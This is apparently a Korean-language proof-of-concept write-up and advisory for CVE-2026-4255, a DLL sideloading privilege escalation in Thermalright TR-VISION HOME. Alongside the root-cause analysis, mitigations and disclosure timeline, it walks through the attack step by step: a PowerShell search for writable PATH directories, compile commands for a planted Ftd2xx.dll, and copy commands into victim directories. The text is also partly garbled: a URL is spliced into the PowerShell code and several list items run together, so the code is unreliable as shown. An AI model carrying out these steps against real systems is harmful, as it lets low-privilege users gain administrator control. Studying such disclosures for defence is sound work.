
CVE-2026-4255에 대한 개념 증명: Thermalright TR-VISION HOME에서 PATH 디렉터리 심기를 통한 DLL 사이드로딩 권한 상승, 전체 근본 원인 분석 및 완화 지침 포함.
심각도: 높음 (CVSS 8.4)
CWE: CWE-829 신뢰할 수 없는 제어 영역의 기능 포함
공개일: 2026-03-16
CNA: Toreon
영향 받는 버전: Thermalright TR-VISION HOME ≤ 2.0.5 (Windows 64-bit)
발견자: Ard33
Thermalright TR-VISION HOME은 기본 Windows DLL 검색 순서를 사용하여 Ftd2xx.dll(FTDI USB-시리얼 라이브러리)을 로드합니다. 이 검색 순서에는 보호된 시스템 위치보다 먼저 사용자가 쓰기 가능한 디렉터리가 포함됩니다. TR-VISION HOME은 항상 관리자 권한으로 실행되며 로드된 라이브러리에 대해 무결성 또는 서명 확인을 수행하지 않으므로, PATH 상의 아무 디렉터리에 쓰기 권한이 있는 공격자는 조작된 Ftd2xx.dll을 심어 애플리케이션이 다음에 실행될 때 상승된 권한으로 로드되도록 할 수 있습니다.
DLL을 심는 데 관리자 권한은 필요하지 않습니다. 낮은 권한의 사용자는 이후에 TR-VISION HOME을 상승된 권한으로 실행하는 모든 사용자를 대상으로 이 취약점을 악용할 수 있습니다.
CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H
| 메트릭 | 값 |
|---|---|
| 공격 벡터 | 로컬 |
| 공격 복잡성 | 낮음 |
| 공격 요구사항 | 없음 |
| 필요 권한 | 없음 |
| 사용자 상호작용 | 능동 (피해자가 앱 실행) |
애플리케이션은 정규화된 경로를 지정하지 않고 LoadLibrary("Ftd2xx.dll")를 호출하거나 로드 시 암시적으로 가져옵니다. Windows는 MSDN 동적 연결 라이브러리 검색 순서에 정의된 검색 순서를 따라 라이브러리를 확인합니다:
C:\Windows\System32)PATH 환경 변수에 나열된 디렉터리 ← 악용 가능공격자는 System32보다 먼저 PATH에 나타나는 사용자가 쓰기 가능한 디렉터리에 Ftd2xx.dll을 심습니다. C:\Users\<User>\.local\bin이 그러한 디렉터리 중 하나이며 기본적으로 PATH에 존재하므로 신뢰할 수 있는 드롭 위치가 됩니다.
| 소프트웨어 | 버전 | 플랫폼 |
|---|---|---|
| Thermalright TR-VISION HOME | ≤ 2.0.5 | Windows x64 |
Windows 11에서 TR-VISION HOME 2.0.5로 테스트했습니다.
%PATH%에 존재하는 사용자가 쓰기 가능한 디렉터리1. 쓰기 가능한 PATH 디렉터리 식별
$env:PATH -split ';' | Where-Object {
if (-not $_ -or -not (Test-Path $_)) { return $false }
try {
$t = Join-Path $_ '.wrtest'
[System.IO.File]:https://raw.githubusercontent.com/ard33/cve-2026-4255/HEAD/:Create($t).Close()
Remove-Item $t -Force
$true
} catch { $false }
}
신뢰할 수 있는 기본값: C:\Users\<User>\.local\bin
2. PoC DLL 컴파일
MinGW (크로스 또는 네이티브):
gcc -shared -o Ftd2xx.dll poc/Ftd2xx.c -Wl,--out-implib,Ftd2xx.lib
MSVC:
cl /LD poc\Ftd2xx.c /Fe:Ftd2xx.dll
3. DLL 심기
1단계에서 식별된 쓰기 가능한 디렉터리를 선택합니다. 두 가지 일반적인 기본값:
:: uv / pipx 기본 스크립트 디렉터리
copy Ftd2xx.dll "C:\Users\<victim>\.local\bin\Ftd2xx.dll"
:: Python Launcher (표준 Python 설치)
copy Ftd2xx.dll "C:\Users\<victim>\AppData\Local\Programs\Python\Launcher\Ftd2xx.dll"
이 단계에는 상승이 필요하지 않습니다.
4. 트리거
피해자가 TR-VISION HOME을 실행합니다(예: 시작 메뉴 또는 시스템 트레이에서). UAC 프롬프트가 관리자 권한으로 애플리케이션을 실행합니다. 초기화 중에 검색 순서를 통해 Ftd2xx.dll이 확인되고, System32보다 먼저 심어진 복사본이 발견되어 공격자의 DllMain이 상승된 프로세스 내에서 실행됩니다.
5. 예상 결과
C:\Users\Public\CVE-2026-4255_pwned.txt 파일이 생성되며, 다음 내용이 포함됩니다:
TokenIsElevated = YES 확인Procmon이 TR-VISION HOME (PID 78940)이 PATH 디렉터리에서 Ftd2xx.dll을 검색하는 모습을 보여줍니다. 심어진 복사본이 확인될 때까지 모두 NAME NOT FOUND를 반환합니다:

AppData\Local\Programs\Python\Launcher\에 심어진 Ftd2xx.dll (날짜 2025-12-26 — 발견일):

로드된 DLL에 의해 생성된 상승된 cmd 셸 — 제목 표시줄에서 Administrator 컨텍스트 확인:

TR-VISION HOME 버전 2.0.5:

Thermalright 측:
Ftd2xx.dll 로드:
LoadLibraryExA("C:\\Windows\\System32\\Ftd2xx.dll", NULL, LOAD_LIBRARY_SEARCH_SYSTEM32);
LoadLibraryEx와 함께 LOAD_LIBRARY_SEARCH_SYSTEM32 또는 LOAD_LIBRARY_SEARCH_APPLICATION_DIR 플래그 사용.WinVerifyTrust를 통해 로드된 라이브러리의 디지털 서명 확인.HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\SafeDllSearchMode = 1). 그러나 이는 PATH 기반 심기를 완전히 완화하지는 않습니다.사용자 측 (임시):
Ftd2xx.dll(FTDI D2XX 드라이버 패키지에서)을 TR-VISION HOME 설치 디렉터리(예: C:\Program Files\TR-VISION HOME\)에 직접 배치합니다. 애플리케이션 디렉터리가 가장 먼저 검색되므로 그곳의 합법적인 복사본이 PATH 기반 심기보다 우선합니다.| 날짜 | 이벤트 |
|---|---|
| 2025-12-26 | 취약점 발견 |
| 2025-12-27 | 지원 채널을 통해 공급업체(Thermalright)에 연락 |
| 2026-03-16 | 공개 공개 CVE-2026-4255 Toreon CNA에서 할당 |
이 개념 증명은 교육 및 연구 목적으로만 제공됩니다. PoC 페이로드는 의도적으로 무해합니다. 텍스트 파일을 작성하고 메시지 상자를 표시합니다. 자신이 소유하거나 명시적인 서면 허가를 받은 시스템에 대해서만 사용하십시오. 저자는 오용에 대해 책임을 지지 않습니다.